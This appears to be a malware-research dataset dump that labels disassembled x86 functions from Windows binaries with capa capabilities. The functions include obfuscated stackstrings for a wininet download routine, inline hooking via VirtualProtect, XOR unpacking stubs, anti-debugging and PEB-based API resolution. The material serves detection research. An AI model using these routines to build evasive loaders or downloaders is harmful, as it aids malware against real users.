joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1004720e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1005d500]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10040ec8
and dword [ebp - 0x14], 0
cmp dword [0x10061378], 0
mov dword [ebp - 0x18], eax
jne 0x100472c1
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10047369
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10047369
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10061378], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1006137c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x10061380], eax
call edi
push eax
call esi
mov dword [0x10061388], eax
test eax, eax
je 0x100472c1
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10061384], eax
mov eax, dword [0x10061384]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x1004731a
cmp dword [0x10061388], ecx
je 0x1004731a
push eax
call esi
push dword [0x10061388]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x1004731a
test ebx, ebx
je 0x1004731a
call edi
test eax, eax
je 0x10047311
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10047311
test byte [ebp - 8], 1
jne 0x1004731a
or dword [ebp + 0x10], 0x200000
jmp 0x1004734d
mov eax, dword [0x1006137c]
cmp eax, dword [ebp - 0x18]
je 0x1004734d
push eax
call esi
test eax, eax
je 0x1004734d
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1004734d
mov eax, dword [0x10061380]
cmp eax, dword [ebp - 0x18]
je 0x1004734d
push eax
call esi
test eax, eax
je 0x1004734d
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10061378]
call esi
test eax, eax
je 0x10047369
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1004736b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10034d4a
leave
ret
Function at 0x387ffe
Capabilities:
Execute anti-debugging instructions

Disassembly:
and al, 4
pop eax
xor dword [esp], 0xf9dd62e3
push 0x59fb87f1
mov dword [esp], edx
mov dword [esp], 0x3d3b68ed
mov dword [esp], ebx
mov dword [esp], 0x39b780bb
add dword [esp], 0xc668637f
push edi
mov edi, esp
add edi, 4
push 0x7541684d
mov dword [esp], eax
mov eax, 4
sub edi, eax
pop eax
xchg dword [esp], edi
mov esp, dword [esp]
mov dword [esp], eax
push eax
mov dword [esp], 0x646a2234
mov dword [esp], eax
mov dword [esp], edx
mov dword [esp], ecx
mov dword [esp], ebx
push dword [esp + 0x10]
mov eax, dword [esp]
push 0xe987da
mov dword [esp], ebp
mov ebp, esp
push edx
mov edx, 4
add ebp, edx
pop edx
add ebp, 4
xchg dword [esp], ebp
pop esp
push dword [esp + 8]
push dword [esp]
mov ebx, dword [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg dword [esp], edi
pop esp
add esp, 4
mov dword [esp + 8], eax
mov dword [esp + 0x10], ebx
mov ebx, dword [esp]
push ebp
mov ebp, esp
push esi
mov esi, 0x537dce15
add esi, 0x767fb614
not esi
Function at 0x10001003
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
nop
nop
and dword [ebp - 4], 0
lea eax, [ebp - 0x2c]
mov esi, 0x10005040
push eax
push esi
mov dword [ebp - 0x2c], 0x3930467b
mov dword [ebp - 0x28], 0x32413033
mov dword [ebp - 0x24], 0x39442d46
mov dword [ebp - 0x20], 0x342d3137
mov dword [ebp - 0x1c], 0x2d383238
mov dword [ebp - 0x18], 0x39303238
mov dword [ebp - 0x14], 0x4437422d
mov dword [ebp - 0x10], 0x36324446
mov dword [ebp - 0xc], 0x34444536
mov dword [ebp - 8], 0x7d34
call sub.MSVCRT.dll_strcpy
pop ecx
mov eax, esi
pop ecx
pop esi
leave
ret

Function at 0x10001745
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
nop
nop
and dword [ebp - 4], 0
push 0x10005014
mov dword [ebp - 0x1c], 0x623f7325
mov dword [ebp - 0x18], 0x2673253d
mov dword [ebp - 0x14], 0x73253d63
mov dword [ebp - 0x10], 0x253d6526
mov dword [ebp - 0xc], 0x6b712673
mov dword [ebp - 8], 0x313d
call fcn.10002ea5
push eax
lea eax, [ebp - 0x21c]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x21c]
add esp, 0xc
test eax, eax
je 0x10001806
lea eax, [ebp - 0x21c]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x10001806
push 0x1000551c
push 0x100052b4
lea eax, [ebp - 0x21c]
push 0x10005280
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x21c]
push eax
call fcn.10002763
add esp, 0x1c
test eax, eax
je 0x10001806
cmp byte [eax], 0x31
push eax
jne 0x100017ff
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
push 1
pop eax
leave
ret
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
xor eax, eax
leave
ret
Function at 0x100023d2
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100040e0
push 0x10003180
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 0x10]
push edi
mov esi, dword [ebp + 8]
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
lea eax, [edi + 5]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x1c], eax
push edi
push esi
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + edi]
mov byte [eax], 0xe9
mov edx, esi
sub edx, ecx
sub edx, 5
mov dword [eax + 1], edx
mov byte [esi], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [edi - 5]
push eax
push 0x90
lea eax, [esi + 5]
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x20]
push edi
push esi
call ebx
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
jmp 0x10002487
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10002496
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100040f0
push 0x10003180
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
lea eax, [ebp - 0x1c]
push eax
push 0x40
mov ebx, dword [ebp + 0x10]
push ebx
mov esi, dword [ebp + 8]
push esi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call edi
mov byte [esi], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebx - 5]
push eax
push 0x90
lea eax, [esi + 5]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x1c]
push ebx
push esi
call edi
or dword [ebp - 4], 0xffffffff
push 1
pop eax
jmp 0x1000251a
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10002599
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
nop
nop
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x100025f7
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
nop
nop
mov edx, dword [ebp + 8]
xor eax, eax
test edx, edx
jne 0x10002607
pop ebp
ret
nop
nop
cmp word [edx], 0x5a4d
jne 0x10002620
mov ecx, dword [edx + 0x3c]
add ecx, edx
cmp dword [ecx], 0x4550
jne 0x10002620
mov eax, dword [ecx + 0x50]
pop ebp
ret
Function at 0x10002763
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
push ebx
push esi
push edi
nop
nop
xor ebx, ebx
cmp dword [0x10005560], ebx
je 0x10002797
cmp dword [0x10005564], ebx
je 0x10002797
cmp dword [0x10005568], ebx
je 0x10002797
cmp dword [0x1000556c], ebx
jne 0x10002865
mov dword [ebp - 0x1c], 0x696e6977
mov dword [ebp - 0x18], 0x2e74656e
mov dword [ebp - 0x14], 0x6c6c64
mov dword [ebp - 0x10], ebx
nop
nop
mov ecx, 0x65746e49
mov eax, 0x74656e72
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], 0x736f6c43
mov dword [ebp - 0x64], 0x6e614865
mov dword [ebp - 0x60], 0x656c64
mov dword [ebp - 0x5c], ebx
nop
nop
mov edx, 0x6e65704f
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], 0x41
mov dword [ebp - 0x48], ebx
nop
nop
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], 0x416c7255
mov dword [ebp - 0x20], ebx
nop
nop
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], 0x64616552
mov dword [ebp - 0x38], 0x656c6946
mov dword [ebp - 0x34], ebx
nop
nop
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x70]
push eax
push edi
call esi
mov dword [0x10005560], eax
lea eax, [ebp - 0x58]
push eax
push edi
call esi
mov dword [0x10005564], eax
lea eax, [ebp - 0x30]
push eax
push edi
call esi
mov dword [0x10005568], eax
lea eax, [ebp - 0x44]
push eax
push edi
call esi
mov dword [0x1000556c], eax
push ebx
push ebx
push ebx
mov esi, 0x200
push ebx
push ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], ebx
xor edi, edi
call dword [0x10005564]
cmp eax, ebx
mov dword [ebp - 0x74], eax
je 0x10002942
push ebx
push 0x84000000
push ebx
push ebx
push dword [ebp + 8]
push eax
call dword [0x10005568]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x10002939
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
mov dword [ebp + 8], eax
pop ecx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x274]
push esi
push eax
push dword [ebp - 0xc]
call dword [0x1000556c]
test eax, eax
je 0x10002927
mov eax, dword [ebp - 4]
cmp eax, ebx
jbe 0x10002923
add eax, edi
cmp eax, dword [ebp - 8]
jbe 0x100028ef
add dword [ebp - 8], esi
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_realloc]
pop ecx
cmp eax, ebx
pop ecx
je 0x10002923
mov dword [ebp + 8], eax
push dword [ebp - 4]
lea eax, [ebp - 0x274]
push eax
mov eax, dword [ebp + 8]
add eax, edi
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 4]
add edi, dword [ebp - 4]
push eax
lea eax, [ebp - 0x274]
push esi
push eax
push dword [ebp - 0xc]
call dword [0x1000556c]
test eax, eax
jne 0x100028c9
cmp edi, ebx
ja 0x10002933
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
jmp 0x10002939
mov eax, dword [ebp + 8]
mov byte [eax + edi], bl
push dword [ebp - 0xc]
call dword [0x10005560]
push dword [ebp - 0x74]
call dword [0x10005560]
xor eax, eax
cmp eax, edi
pop edi
sbb eax, eax
pop esi
and eax, dword [ebp + 8]
pop ebx
leave
ret
Function at 0x10002fc8
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push esi
push edi
mov dword [ebp - 0x28], 0x74667674
mov dword [ebp - 0x24], 0x67962
mov dword [ebp - 0x20], 0x5c5e511e
mov dword [ebp - 0x1c], 0x35303235
nop
nop
push 3
mov esi, 0x10005010
pop edi
lea eax, [ebp - 0x28]
push edi
push esi
push 0x10
push eax
call fcn.10002622
mov dword [ebp - 0xc], 0x76575767
mov dword [ebp - 8], 0x57465f5e
mov dword [ebp - 4], 0x304b507b
nop
nop
push edi
push esi
lea eax, [ebp - 0xc]
push 0xc
push eax
call fcn.10002622
mov dword [ebp - 0x38], 0x76575767
mov dword [ebp - 0x34], 0x46545540
mov dword [ebp - 0x30], 0x49577e55
mov dword [ebp - 0x2c], 0x35303274
nop
nop
push edi
push esi
lea eax, [ebp - 0x38]
push 0x10
push eax
call fcn.10002622
mov dword [ebp - 0x18], 0x7a575767
mov dword [ebp - 0x14], 0x795b5542
mov dword [ebp - 0x10], 0x30734c55
nop
nop
push edi
push esi
lea eax, [ebp - 0x18]
push 0xc
push eax
call fcn.10002622
add esp, 0x40
mov dword [ebp - 0x6c], 0x64575767
mov dword [ebp - 0x68], 0x4b475547
mov dword [ebp - 0x64], 0x455e5466
mov dword [ebp - 0x60], 0x74487750
mov dword [ebp - 0x5c], 0x32353032
nop
nop
push edi
push esi
lea eax, [ebp - 0x6c]
push 0x14
push eax
call fcn.10002622
mov dword [ebp - 0x48], 0x66575767
mov dword [ebp - 0x44], 0x53634457
mov dword [ebp - 0x40], 0x7157405c
mov dword [ebp - 0x3c], 0x35303235
nop
nop
push edi
push esi
lea eax, [ebp - 0x48]
push 0x10
push eax
call fcn.10002622
mov dword [ebp - 0x58], 0x66575767
mov dword [ebp - 0x54], 0x53634457
mov dword [ebp - 0x50], 0x7557405c
mov dword [ebp - 0x4c], 0x3530734d
nop
nop
push edi
push esi
lea eax, [ebp - 0x58]
push 0x10
push eax
call fcn.10002622
add esp, 0x30
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0xc]
push eax
push edi
call esi
mov dword [0x10005898], eax
lea eax, [ebp - 0x38]
push eax
push edi
call esi
mov dword [0x10005890], eax
lea eax, [ebp - 0x18]
push eax
push edi
call esi
mov dword [0x10005888], eax
lea eax, [ebp - 0x6c]
push eax
push edi
call esi
mov dword [0x1000588c], eax
lea eax, [ebp - 0x48]
push eax
push edi
call esi
mov dword [0x10005884], eax
lea eax, [ebp - 0x58]
push eax
push edi
call esi
pop edi
mov dword [0x10005894], eax
pop esi
leave
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x34f1015b
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e3d0
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x41040be9
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4300c0
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..data
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x404d465d
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x433060
nop
mov eax, section..data_1
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
mov esi, 0x2d727253
nop
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408f6c
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x1e5235f6
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e3d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0xf9d5b01
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x402e79
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x2c
mov eax, dword [0x432180]
xor eax, esp
mov dword [esp + 0x24], eax
push ebx
push ebp
push esi
mov esi, dword [0x48108c]
xor ebx, ebx
push edi
mov dword [esp + 0x14], edx
mov eax, dword [esi + 0x3c]
mov ebp, dword [eax + esi + 0x78]
add ebp, esi
mov edi, dword [ebp + 0x20]
mov eax, dword [ebp + 0x18]
add edi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x402ee0
mov eax, dword [edi]
lea ecx, [esp + 0x1c]
add eax, esi
push eax
call fcn.004035db
lea ecx, [esp + 0x1c]
call fcn.00402a0e
cmp eax, dword [esp + 0x14]
je 0x402ef8
lea ecx, [esp + 0x1c]
add edi, 4
call fcn.00404014
inc ebx
cmp ebx, dword [esp + 0x18]
jb 0x402eb0
xor edi, edi
mov ecx, dword [esp + 0x34]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00409366
add esp, 0x2c
ret
mov eax, dword [ebp + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebp + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x1c]
call fcn.00404014
jmp 0x402ee2

Function at 0x402f7a
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10
push esi
push edi
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x48108c], eax
push ecx
mov esi, 0x47ec60
mov edx, 0x547
push 0x432c30
mov ecx, esi
call fcn.00402805
pop ecx
pop ecx
mov edx, 0x8aafdc01
call fcn.00402e79
lea ecx, [esp + 0xc]
push ecx
push 0x40
push 0x4e4
push esi
call eax
test eax, eax
je 0x403004
lea ecx, [esp + 0x10]
call fcn.004049d7
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x10], ecx
mov byte [esp + 0x14], 1
test ecx, ecx
je 0x40300e
cmp byte [ecx + 0x6c], 0
jne 0x40300e
mov eax, dword [ecx]
push 1
call dword [eax + 8]
lea ecx, [esp + 0x10]
call fcn.00403157
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10
push 4
pop ecx
call fcn.0040277a
int3
Function at 0x4082ae
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x4082cf
jl 0x4082c6
test edi, edi
jne 0x4082cf
xor eax, eax
xor edx, edx
jmp 0x408390
cmp dword [ebx + 0x38], 0
je 0x4082e4
push eax
push edi
push dword [ebp + 8]
call fcn.00408396
jmp 0x408390
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x40832b
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x40832b
cmp eax, edi
jb 0x408305
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.0040a4e0
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x408331
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x408385
mov ecx, ebx
call fcn.00407b00
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x408370
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0041185d
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x408385
jmp 0x408343
test edx, edx
je 0x408385
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0041185d
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x40a1d0
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40a20f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40a20f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40a20f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40a20f
cmp dword [ecx + 0x74], 0xe
jbe 0x40a20f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4173f0
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x429b68
push 0x429b60
push str.FlsAlloc
push 0x1e
call fcn.004172ba
mov esi, eax
add esp, 0x10
test esi, esi
je 0x417424
push dword [ebp + 8]
mov ecx, esi
call dword [0x426158]
call esi
jmp 0x41742a
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x41746e
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x429b78
push 0x429b70
push str.FlsGetValue
push 0x20
call fcn.004172ba
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4174a5
push dword [ebp + 8]
mov ecx, esi
call dword [0x426158]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]